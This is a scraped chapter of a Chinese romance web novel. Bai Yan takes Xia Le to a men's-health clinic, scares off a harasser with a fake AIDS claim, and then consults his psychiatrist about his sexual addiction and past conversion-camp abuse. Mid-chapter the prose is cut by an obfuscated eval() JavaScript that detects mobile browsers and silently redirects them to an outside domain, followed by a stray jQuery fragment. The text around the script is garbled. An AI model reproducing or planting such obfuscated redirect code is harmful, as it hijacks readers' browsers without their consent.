默认冷灰
24号文字
方正启体

23. 【三合一】

作者:蒴果浅浅本书字数:K更新时间:
    打死柏宴也想不到,得罪宁可儿的后果,竟然是揭他老底。


    不过宁可儿没造谣。


    以前相亲,柏宴自己跟相亲对象说那方面不行,最多三秒,要是能接受——


    没一个对象接受。


    他拒婚的目的轻易达成,每次相亲,都以此为借口。


    狠起来自己都黑。


    谁敢比?


    相得多了,难免遇上和宁可儿一个圈层的名媛,宁可儿报复他,无非是少了一个秒男老公,没了正大光明在外玩的理由。


    柏宴理解,也不怪宁可儿。


    只是她千不该万不该告诉夏乐,弄得自己站夏乐面前,突然像矮了一截。


    这种感觉很奇怪,柏宴很不爽宁可儿跟谁揭底不行,跟夏乐揭自己的底。


    “你说了你不生气的,绝对不生气!”夏乐保命似地提醒柏宴。


    柏宴暗暗沉气,几秒后,大度而优雅地移开抵在夏乐颈动脉的指关节。


    那里的骨感和尖锐让夏乐感受到生命危机,不是说柏宴要杀人,意外是有概率发生的。


    庆幸自己提醒得快,柏宴忍着难看的脸色,在极强的气压下,松弛地松开他。


    随即淡淡一笑,“夏乐,你信了。”


    夏乐点头。


    “嗯?”


    “不!我不信!”夏乐反应很快,下一秒就疯狂摇头,“我一点都不信!”


    求生欲极强的夏乐开始吹捧加安抚,“我又不傻,这种谣言怎么能信,柏会您长得这么高,生得这么好看,对吧,又有气质又身体健康,怎么可能有问题。肯定没问题!咱信科学!不听谣!不信谣!”


    夏乐一边说一边摇头,胸前栗色的长发因为晃动幅度而移位。


    柏宴见状,抬手帮他拨弄假发。


    吓得夏乐又又又下意识闭眼。


    手指擦过移位的假发,理了理,柏宴轻视斜睨,“不信,你闭什么眼,看起来一脸真诚,结果全是敷衍。”


    “闭眼是因为条件反射,不代表我信了,我没信!”夏乐强调。


    柏宴:“是吗?”


    夏乐:“是!”


    “哪里是了。”


    “哪里都……”


    这可把夏乐问住,哪里是了,哪里是了。


    弹幕上都是!


    他睁眼抬头,“你的粉丝说,你技术好,富婆们很喜欢,每周跟富婆出去玩,他们都夸你厉害。”


    “你好好说话。”


    “真的!至少和宁小姐说的不太行的结论是相悖的!”


    “什么时候看的弹幕。”


    “很久以前。”


    柏宴刚挪开的手,怎么有想要再抵上去的冲动。


    “夏乐,我能不能丢你出去。”


    ……


    如果左边是悬崖,右边是河,一定要夏乐跳的话,选择跳哪个。


    他毫不犹豫选择跳河。


    说Brian人品不行,总好过说他那方面不行。


    都是男的,夏乐知道,柏宴不想被任何人嘲笑。


    但看柏会脸色,悬崖和河都不能跳。


    柏宴接过店员递来的餐,随便找了个位置坐下。


    夏乐拘谨地走过去,耷拉下头,低声说:“对不起,其实我两样都不信。”


    柏宴悠悠摆弄着餐盘里的餐具,过了几秒,轻撩起眼睫,“知不知道自己不会撒谎,一撒谎,视线就会乱跑。”


    夏乐疑惑了,认识短短三天,对方了解他到这种程度?


    柏宴:“你信宁可儿,她一定跟你说过,三秒是我说的,如果不信,可以找我对峙,对吗。”


    “我要说……你说得对,会把我丢出去吗。”


    “会。”


    “啊。”


    “会个屁。”柏宴轻嗤收回视线,“本来就跟你无关,宁可儿说得没错,三秒是我自己说的。”


    “。”


    震惊十秒,夏乐沉默了。


    ……


    原本来了主题餐厅,夏乐一脸期待,结果听到柏会主动承认,他没了关注偶像的心思,一直默默关注柏会的神情。


    坐下以后,他不敢直视柏会眼睛,只敢偷偷打量。


    “宁可儿说不行的人是我,你在难过什么。”柏宴好笑,帮夏乐摆好偶像套餐,对方像看不见一样,一味低着头不语,双手垂在餐桌下。


    抓东西的毛病又犯了。


    等了一会儿,他等到夏乐抬起头,结果是一个很有爱心,且慰问病人似的笑。


    “我知道柏会现在很难过,但没关系,有我嘛,我陪你想办法。”


    这下换柏宴沉默了。


    他是真心佩服夏乐的脑回路,正常不是应该对他这个“病号”说,现在医疗技术那么发达,这算病吗。


    怎么到夏乐嘴里,感觉自己像得了癌症。


    “说说,想到什么好办法了吗。”柏宴低眉垂眼,用叉子搅了卷意面放夏乐餐盘。


    夏乐道了声“谢谢”,先不着急吃东西,先安慰柏会。


    “你看这样行吗,十个亿的签约金,柏会就别给我了,有那钱,我带你治病去。”


    “什么?”柏宴不可思议地看向夏乐,“我都给你十个亿了,你认为我差钱?”


    “不差。”夏乐一本正经地回答,“但你差我。”


    柏宴顿时:“……”


    整个人像泥塑了般,滞在原地。


    夏乐的意思很简单,知道柏宴有这病的人不多,除了相亲对象,大概率就只有他一个人。


    在这个时候,他更应该用“陪伴”给予柏会关心和支持,坚决不能让对方感觉到自己有一丁点的歧视和同情。


    陌生人好歹还施以援手,柏会再怎么说也相识一场,夏乐试图用这样来表达自己的真诚。


    “我们是朋友嘛,朋友之间,就应该相互关心。”夏乐笑笑,“你以前,有去看过病吗。”


    柏宴也笑,“夏乐,有没有听过,好奇害死猫。”


    “有,但我不是好奇,我是真的关心你。”


    “用陪伴关心?”


    “嗯。”


    夏乐一声“嗯”,柏宴停笑了。


    手中搅好的意面像被施了魔法般停在半空,夏乐用无比真诚的双眼注视着他。


    确实很真诚,软软的,润润的,瞳孔的每一丝流光,都在向他注入“关怀病人”的信号。


    柏宴强迫自己移开和夏乐的对视,“蠢蛋,知不知道自己在说什么。”


    夏乐“嗯”一声,“我知道。”


    伴随对方的重重点头,柏宴挤在喉咙的呼吸呼之欲出,“我没事,不用你陪。”


    越是嘴上说没事,越是有老大事。


    夏乐:“其实你想想,生活不是只有那种事,一方面不行不等于方方面面不行,不用看得那么重。”


    “什么叫一方面不行。”柏宴紧紧盯着他,“不好意思,对此我看得很重。”


    夏乐愣了一下,“看得重,那就,看医生嘛,我陪你去。”


    柏宴:“好啊,现在就去。”


    夏乐没想到,柏会答应得这么着急。


    “现、现在就去?”


    “对。”柏宴漫不经心地抬抬颌,“晚点医院拥挤,看男科的人很多。”


    夏乐:“男科?!”


    “你不知道这种病看男科?竟然知道‘三秒男’、‘那种事’?”


    夏乐:“……”


    不知道,没了解,不能让柏会看出来。


    “我知道啊。”他高高抬起下巴。


    柏宴趁机将搅好的意面喂到他嘴边,“张嘴,吃完,我们一起去看男科。”


    ……


    柏宴忽然发现,自己第一次主动喂人吃东西,内心竟然一点不抗拒。


    临走前,他也突然想给夏乐买点什么,不能扫了小朋友的兴。


    一些小寻的盲盒、立牌、手办,一起打包扔进车后座。


    夏乐心疼谷子被暴力糟蹋,跪着爬上副驾,探出身子将后座的谷子袋子一一放置好。


    柏宴问他:“有人来了,你打算跪多久。”


    夏乐这才注意到,自己的礼服裙开叉,大腿露……


    咻地从副驾翻过身,夏乐双手捂住礼服裙。


    社死吧,夏乐!


    柏宴睨了一眼,瞥过,“下车。”


    夏乐好奇,“不去了吗。”一边问一边整理礼服裙。


    “去。”柏宴深吸一口气,“但我现在决定,给你买套衣服再去。”


    “衣服?”


    “对,买男装。”


    夏乐低声道:“也是,穿女装不方面陪你看男科,不知道的,还真会把自己当成你的女朋友。”


    “什么?”柏宴问他嘀咕什么。


    夏乐连连摇头,“没有,我是说,买套便宜的,我的生活费,不太够。”


    柏宴顿了一下,几秒后,“……有说让你出钱吗,为表感谢,衣服我送了。”


    夏乐心想,柏会这人还怪好的。


    陪他相亲,就请吃主题餐厅。


    陪他看病,就送衣服。


    只是这么好的人,竟然会得那种病。


    上天也不知道垂怜一下。


    想着想着,夏乐看柏宴的眼神不免又有了一丝看病人的慰问。


    柏宴:“夏乐,你别看我,离我远点。”


    ……


    夏乐特别听话,柏会叫他离远点,他就真的离了一米远。


    在去医院的路上,柏会走前面,夏乐跟在后面。


    微信消息的连续震动在新买的裤兜里颤了好一阵,夏乐拿出手机,一看是张德帅。


    张德帅给他打了好多未接来电,从早上到中午,一直在找他。


    最近的几条消息是——


    张哥:【乐乐,怎么不回话。】


    张哥:【乐乐,你到底在哪儿。】


    张哥:【乐乐,你有没有事,冷魅那个大魔头把你怎么样了。】


    张哥:【乐,回话!】


    张哥:【超过24小时不回,我就报警了,正好我人在派出所。】


    ……


    夏乐偷偷瞧了眼走在前面的“冷魅大魔头”,嗯,对方没注意他。


    他压着声,给张德帅回了条语音消息。


    “张哥,我没事,我现在陪大魔头去医院,一会儿跟你说。”


    张德帅的语音很快回了过来。


    张哥:“陪他去医院?他要死啦?坐标发来,我给他送行!”


    语音刚播放完,走在前面的柏会突然停步回头——


    夏乐顿时感觉凉飕飕的,犹如寒风过境。


    缓缓抬眼,他看见“大魔头”正用淬了毒的眼睛盯着他。


    还有他的手机。


    夏乐只好滑嗓,对上柏会视线,硬着头皮摁下【按住说话】,“张哥,我没事,我这病没大碍,死不了,不、不用来了。”


    说完,松指、发送、闭眼,三件套。


    ……


    柏宴去的是一家私立医院,在CBD附近,不用开车,腿着就能到。


    两人刚到医院外,还没进第一道门,夏乐便看出,这家医院的诊费不便宜,装修、气势都太过高档。


    鉴于柏会对他又是请客,又是买谷子送衣服,夏乐咬了咬牙,主动提出,自己去帮柏会挂号。


    柏宴没和他争,视线在他身上停留了一会,点点头,拿起手机去到一旁打电话。


    果然,专家号出来,夏乐一看挂号费五百七,一周生活费没了,贵得他倒吸一口冷气。


    缓了好几秒,他才一脸笑意地去找柏宴。


    柏宴刚好打完电话。


    “挂好了,专家号,柏会,我们走吧。”


    专家号?


    柏宴微微诧异。


    衣服一百三夏乐心疼得要死,专家号出手就五六百,笑得还像朵太阳花。


    看来这小子对他实打实挺好,没白疼。


    “专家号可以去VIP室,我带你过去。”


    夏乐摆摆手,“不用,我不累,说好了陪你看病,就要说话算话,全程陪同。”


    “我是说,那边人少,很安静。”


    夏乐眨眨眼,“难道……柏会是介意我陪?不好意思说?找个安静的理由?”


    “你什么脑回……”算了,柏宴已经习惯PUA自己,对方是单纯,很单纯。


    他散漫地勾起双唇,“我不介意,只要你不介意,我一点不介意。”


    夏乐怎么会介意,陪人看病就是等,贵宾室也是等,多大点事。


    抱着“等一等又死不了”的心态,夏乐跟着柏宴上到男科诊室的楼层。


    电梯门一开,他傻眼了,不是高档医院吗,不是那么贵的诊费吗,“等”的长龙为什么还能排满整个过道???


    “他们家男科全国闻名,很多人掷千金问诊,排这么长不奇怪,来这的,那方面都有疑难杂症。”柏宴看出夏乐的疑惑,若无其事地偏偏头,“怎么,后悔陪我上来了。”


    “不后悔!”


    夏乐坚决不后悔,他这人做事最有原则了,说话一定要算话。


    “要不柏会去VIP室休息,我来帮您排队。”夏乐边说边往队伍的末尾退去。


    柏宴刚想说,专家号不用在这排,夏乐就在退的时候不小心踩到了队伍末尾最后一人的运动鞋,那人的白色鞋子和袜子都被印上了鞋印。


    夏乐立马转身,鞠躬加道歉,“对不起对不起,我不是故意的,踩疼你了吧,我向你赔礼道歉。”


    对方是一个穿着马甲T恤,二十来岁的男生,人高马大,肌肉健硕,比夏乐高不少,看起来是健身教练。


    见夏乐弯腰道歉,对方亮了亮自己的肱二头肌,“小弟弟,踩疼是小事,踩脏了,只道歉就能完事的吗?哥哥也不喊一声,你觉得合适吗?”


    夏乐抬起头,被对方健硕的肌肉猛吓一跳。


    对方愣了一下,下一秒邪魅一笑,冲他挑起眉梢,“好俊俏的弟弟,叫声哥哥,哥哥就原谅你。”


    “哥哥”两个字,油得夏乐怎么也喊不出口,原地哆嗦嘴唇,脑里还要想办法解决问题。


    明眼人一看就知道,这人丝毫不掩饰垂涎的口水,是起了歹心。


    只是周围的人大多跟他一样,因为那种事来这看病,全都默不作声,见怪不怪。


    就在对方的手快要伸到夏乐下巴时,柏宴取下眼镜,精准拦住那只咸猪手。


    “我弟弟不是故意踩到你,想怎么赔,跟我说。”柏宴礼貌地冲那人笑笑。


    对方视线啪一下转向柏宴。


    原本不耐烦被人阻拦,在看到柏宴后,神情瞬间被更加兴奋替代。


    “你是他哥?”


    柏宴笑笑,默认。


    “哥也长得不赖,好,你倒是说说,打算怎么赔。”


    “赔钱还是赔礼,都可以。”柏宴回答,将夏乐拉到自己身后护着。


    对方起身站起来,和柏宴差不多高,视线从上到下打量柏宴。


    “圈内人?”


    “圈内天菜。”


    “上还是下。”


    “我只做上,从不做下。”


    对方顿时舔唇笑道:“天菜,强劲,只做上,看出来了,你有这个姿色和实力,我喜欢,不过你弟也长得很nice,可爱又乖顺,我一个都舍不得错过,你说怎么办?”


    “那就带我弟一起。”柏宴抬抬颌,“让我看看你的本事。”


    夏乐惊了,压根听不懂两个人在打什么谜语。


    什么圈内人,什么天菜,什么强劲只做上,什么带我弟一起。


    他一脸懵地看着两人,看着那人沉醉地捂住心窝子,又看着柏会戴上眼镜,另一只手绅士地抬向半空,做了个友好握手的动作。


    之后脸上出现令夏乐毛骨悚然的斯文抿笑。


    柏宴说:“我跟我弟有艾滋,你也有吧。”


    “什么?!艾滋?!”对方瞬间炸毛。


    夏乐更是瞠目结舌。


    那人像被鞭炮炸过,触上来的手顿时收了回去,“胡说什么!劳资没有艾滋!你俩有是你俩的事!”


    四周排队的人因为他的喊叫,集体退避三舍,全都用异样的眼光看向三人。


    夏乐下意识抓紧柏宴衣袖。


    柏宴很淡定,拉过夏乐的手,十指紧扣,握在掌心,“看好了,是你要找我哥俩,我们可没主动招惹你。”


    原本那人只是炸毛,此刻恨不得全身长嘴,“劳资没有,你别他妈胡说。”


    “——是他有,他俩有艾滋。”


    柏宴淡然举起他和夏乐相握的手,笑笑示意——嗯嗯嗯,对对对,我俩有。


    对方气得牙痒,无奈周围的人将他三人全部隔离在外,一个不放过,怕得跟躲避病毒似的。


    “好好好,艾滋是吧,我记住你哥俩了,去尼玛的,晦气。”那人呸了一口口水,愤怒离席。


    刚才还如长龙般的过道,此时因为“艾滋”的出现,一下变得不拥挤,纷纷给让出一条宽道。


    柏宴就这样在众目睽睽之下,牵着夏乐,言笑晏晏地从过道中走过。


    “乐,看到没,现在不挤了,他们让我俩随便走。”


    夏乐就:“……”


    赫赫,是不挤了,甚至说,好宽的路啊。


    柏会狠起来,艾滋都能自黑。


    还顺带带上他。


    路能不宽吗。


    走在两边夹道的路人中间,夏乐将脸埋在柏会臂弯的衣料处。


    夏乐说:“柏会,你怎么狠起来自己都黑。”


    柏宴淡定自若地走着,“不叫黑,这叫自我保护。”


    夏乐想起来什么,“不会那方面不太行,也是你的自黑吧?”


    “那个嘛。”柏宴一边走一边笑看夏乐,“你猜。”


    夏乐蒙着脸摇头,脸颊在柏会的衬衫料子上擦了又擦。


    不知道,猜不透柏会的心思,太诡异。


    但柏会跟他说:“来都来了,号也挂了,就不能浪费,尤其是钱。”


    看看,一起看看他是不是“不过三秒”。


    “你信医生的吧?”柏宴笑问。


    “信。”夏乐说,“必须信医生。”


    因为柏会的话,根本不敢信。


    ……


    这次,柏宴要夏乐去VIP室休息,夏乐一点不反对。


    过道里全是以为他俩得了艾滋的路人,夏乐要是再站着排队,周围的目光能把他灼死。


    谁也想不到,有一天他会被柏会绑架,绑来的每一天还要经历心脏起落的巨大差异,以及突然得病的噩耗。


    夏乐得缓缓,真得缓缓。


    他坐在VIP室的单人沙发上,柏会买了一杯橙汁过来递给他。


    “看病流程我熟,要先去取精室取精,夏乐,你要陪我吗。”


    夏乐闻言一怔,接着猛摇头。


    “不、不了,这个不陪吧。”夏乐心道,这个是真陪不了一点。


    他颤颤巍巍接过橙汁,紧紧捏在掌心。


    如果橙汁瓶稍微软点,他肯定捏爆它。


    偏偏柏会站在他面前笑出声来,曲指遮笑,也掩不住柏会的笑声浪漫。


    夏乐脸羞得爆红。


    “好,那你别乱走,在这等我,取精时间较长,大概一到两小时。”


    话


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749497|174271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    落,刚准备喝橙汁缓缓的夏乐,差点一口喷了出去。


    “不是三秒吗?”他抬头问。


    ……


    安顿好夏乐,柏宴走出VIP室。


    与左转的男科诊室相背,他右转上了医院的另一部电梯,去往心理科楼层。


    路上,他买了一束百合。


    看心理科的人比看男科的少太多,柏宴抱着花,走过清静走廊,拐到心理科主任办公室门口,敲了敲门。


    里面传来中年女子的温和声,“请进。”


    柏宴靠着门,轻轻推开半扇,“蓉姨,祝你比百合更加娇艳。”


    花比人先进,一大束百合占据了半扇门的宽度。


    “小晏,你的嘴还是这么甜,这么爱哄人,快,快进来。”蓉姨笑着起身招呼柏宴。


    蓉姨全名魏蓉,柏宴妈妈的闺蜜,医院心理科主任医师。


    也是柏宴的心理医生。


    接过花,魏蓉插进花瓶里,转身去倒水,“接到你电话,蓉姨就回办公室等你了,小晏很久没过来看蓉姨,最近还好吗。”


    “还好,蓉姨呢。”


    “有你这么贴心的孩子惦念,蓉姨能不好吗。”魏蓉温婉地笑笑,“对了,今天这么突然过来,你肯定不是单单来看蓉姨。”


    “我是过来看男科。”柏宴回答。


    魏蓉顿时紧张,差点打翻手中水杯,“男科?柏宴,你出什么事了。”


    “没有。”柏宴轻轻做了个飞吻的动作,安抚蓉姨,“我只是跟小朋友玩个游戏。”


    “好小子,你吓死蓉姨。”魏蓉婉瞪柏宴一眼,将水杯放到他面前,“我还以为你出什么事,什么叫跟小朋友玩个游戏。”


    “就是向小朋友证明,我是个男人,什么问题也没有的男人。”


    魏蓉轻哼:“那、小朋友人呢。”


    “在楼下,男科VIP室。”


    “怎么不带上来给蓉姨看看。”


    “还没到时间。”


    魏蓉轻轻吸一口气,懂了,“蓉姨感谢你的坦诚,柏宴,你遇到难题了。”


    说是难题,柏宴倒觉得没那么严重。


    只是心中有些疑惑。


    “蓉姨,我最近一次用药物,好像失灵了。”柏宴平静地抬起眼皮,平静地说。


    魏蓉轻轻拢起眼尾。


    她就知道,这小子肯定遇到事了。


    柏宴有性成瘾的心理疾病,发现已经很多年。


    在他青春期十六岁时,被父亲强制送往戒同所,在戒同所里经历了长达一个月的非人折磨。


    出来以后,父子反目,亲情斩断。


    那会柏宴被电击后的手指出现经络僵硬,致使他再也无法拿起手术刀,被迫放弃学医之路。


    转战打游戏。


    与此同时,柏宴的心理出现反常,陷入自我怀疑,左右摇摆自己是不是一个神经病,行为因而冷漠怪异。他向自己发泄,患上了暴躁无法控制的性成瘾。


    十六岁的柏宴成为了与人无法相处的问题少年。


    魏蓉作为权威的心理疾病专家,柏宴妈妈的闺蜜,顺理成章接纳了柏宴,成为柏宴的心理主治医师。


    从关怀到引导,从开解到提供帮助,魏蓉跟柏宴之间无所不聊,也无所不谈。


    她一直用“情感缺失症”善意欺骗柏宴,告诉柏宴,同性恋不是病,性成瘾也没问题,冷漠怪异只是你与生俱来的独有记号。


    柏宴问她,怪异的记号会消失吗。


    魏蓉温柔地点头,说会,情感缺失症的病因是情感缺失,当真心喜欢的人出现时,这些记号就会因为爱而消退。你会变得真诚、勇敢,也会因为爱而变得更加温柔。


    那会的柏宴还不理解什么叫情感缺失,也不懂魏蓉口中的爱和真诚。


    等到时间久了,他的年龄增长,柏宴也就知道了,自己纯纯是有病,与情感缺失无关。


    后来,他强迫自己习惯这一切,接受这一切,坦然面对世间对他的所有非议和看法,接受自己有病的事实。


    他的冷漠怪异,换成了无所谓和纨绔,也包括他的性取向。


    被父亲逼着和异性相亲,为了柏氏家族颜面,为了向大家证明,柏家少爷不是同性恋,是一个无比正常的正常人。


    他成了众所周知的“直男”,无所谓,伪装而已。


    性成瘾靠着魏蓉开的药物,卷在不被人所知的香烟里,柏宴每日一根,身上总有股淡淡的,与正常吸烟人身上味道不同的混合药物。


    还好魏蓉给他的药物里加了一味白玲,没了药味,取而代之的是身上长期附着着清茶的香气。


    “那天晚上,我抽了一根,哦不,半根,因为他不喜欢烟,所以我灭掉了,在他走之后,我再抽了一根,却无法克制,整整一个晚上,我陷在强烈的欲望里,浑身像被火烧,于是在浴缸里泡了一整晚,直到第二天雾江江面升起红日。”


    柏宴平静地向魏蓉讲述那晚在玻璃连廊碰到夏乐以后的事。


    “药物失灵,我靠酒精成功克制住,可在看到他熟睡的样子后,欲望又作祟般出现,脑子里全是他碰触我的每一个片段,每一个肢体动作。”


    “那是什么感觉。”魏蓉问。


    柏宴视线无焦点地落在空气中,摇了摇头,“酥麻,不想抗拒。”


    “你跟蓉姨说说,他对你做了什么样的肢体接触,而你一点不抗拒。”


    柏宴回过神来,“蓉姨,这个可以说吗。”


    “可以。”魏蓉笑笑,“你要知道,蓉姨绝对不是八卦。”


    柏宴托起下巴,缓缓点头,“他抱过我。”


    “仅此而已?”


    “拉过我的手,挽过我的臂,碰过我的腿、脚尖,搂过我的腰,还有——”


    “继续说。”


    柏宴忽然意识到,一向无所谓这些的他,在蓉姨面前竟然有了一丝拘束。


    他低颌轻咳,过了大概三秒才续说:“……还有抓过我的胸,触到我最敏感的地带,以及整个人挂在我身上。”


    这倒是让魏蓉完全没想到的肢体接触,非常全面,也过于深度。


    在她的印象中,柏宴这孩子不会跟人有超过握手以外的肢体接触。


    甚至,他为了拒绝别人,会假装戴上冷色的金丝边框眼镜。


    取眼镜,戴眼镜,是他常用来拒绝人的最直接表达方式。


    然而,这些都没能阻止那个小朋友对他的进一步发展,魏蓉有稍稍片刻的疑惑。


    “这些,你都不抗拒?”


    “不抗拒。”


    “不生气?”


    “不生气。”柏宴淡淡抿笑,“应该生气的,但气不上头就过了。”


    说起来柏宴自己都觉得神奇,明明心理抗拒和与人的肢体接触,偏偏夏乐是个例外。


    碰了也就碰了,还碰他这么多次。


    就像他的病一样,反复无常。


    他竟然在被碰以后衍生出下一次期待。


    “所以我想方设法留下他,原本之前放了,后来又绑了,甚至……”柏宴说着,瞳孔中已然放柔的光晕忽然变得犀利起来。


    他续道:“我用上所有可动家产留下他,十个亿,蓉姨,你说花十个亿治病,值吗。”


    此刻的魏蓉不知道怎么回答柏宴的问题。


    她沉默好一会儿,温柔地看着柏宴。


    “他们只知道,柏家出了一个不成气候的少爷,却不知道,柏少爷曾经是一名获得多项荣誉奖项的优秀医学生。更不知道,如果你的手指没有因为电击而受伤,你将是一名人人敬仰的心外科医生。这么优秀的柏宴,为什么要用卑微,用家当去换取所爱呢。”


    柏宴怔住了。


    下意识的怔住。


    他怔的不是蓉姨所说的“柏宴曾经的优秀”,也不是被蓉姨说中的“他在自卑”,而是最后那一句“所爱”。


    他爱夏乐?


    “不可能。”柏宴恍惚地笑着摇摇头,“我们认识不过才三天,三天时间,怎么可能产生所谓的‘爱’,更何况,我绑他是因为他哥,替他死去的哥哥照顾他,我不喜欢男的。”


    笑着笑着,柏宴的笑凝固了。


    魏蓉轻轻叹气,表示理解,并不着急反驳柏宴的这番否定。


    她深知一个坚信自己有病的人,哪怕成长到了三十岁,也依旧会认定自己的不正常,不配拥有世间所爱。


    她换个方式,问了柏宴三个问题:“今天为什么来见蓉姨,又为什么要向那个小朋友证明,自己是个什么问题也没有的男人。药物失灵的那天晚上,纾解欲望时,大脑出现的是谁。”


    “——小晏可以慢慢想,答案不用告诉蓉姨。”


    柏宴诧异地对上蓉姨视线,空气中弥漫出百合的迷离,使他看不清自己。


    但他知道,即便不说,旁观者的蓉姨早已看穿当局者的他。


    过了几秒,柏宴轻眨眼睫,垂眸颔首,“蓉姨说得对,以前没可能出现任何人,但那晚……”


    “所以,你还要跟蓉姨否定,他不是你的喜欢?”


    柏宴彻底不说话了,低眸一笑。


    倒不是跟蓉姨有什么不好意思谈论这件事,而是夏乐,是自己好兄弟的弟弟,他对朋友的弟弟照顾,却照顾到无耻地将他放在不为人知的颅内想象。


    柏宴又从心底骂了自己好几遍无耻,不要脸。


    来找蓉姨的答案,柏宴有了。


    临走前蓉姨告诉他:“小晏,做人最重要的是真诚,如果喜欢,不妨试着去追,不要有顾虑,也不要用金钱和名利,试着用柏宴这个人,回以他对你的触碰。”


    “——或许你不再需要药物,你的解药已经出现。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)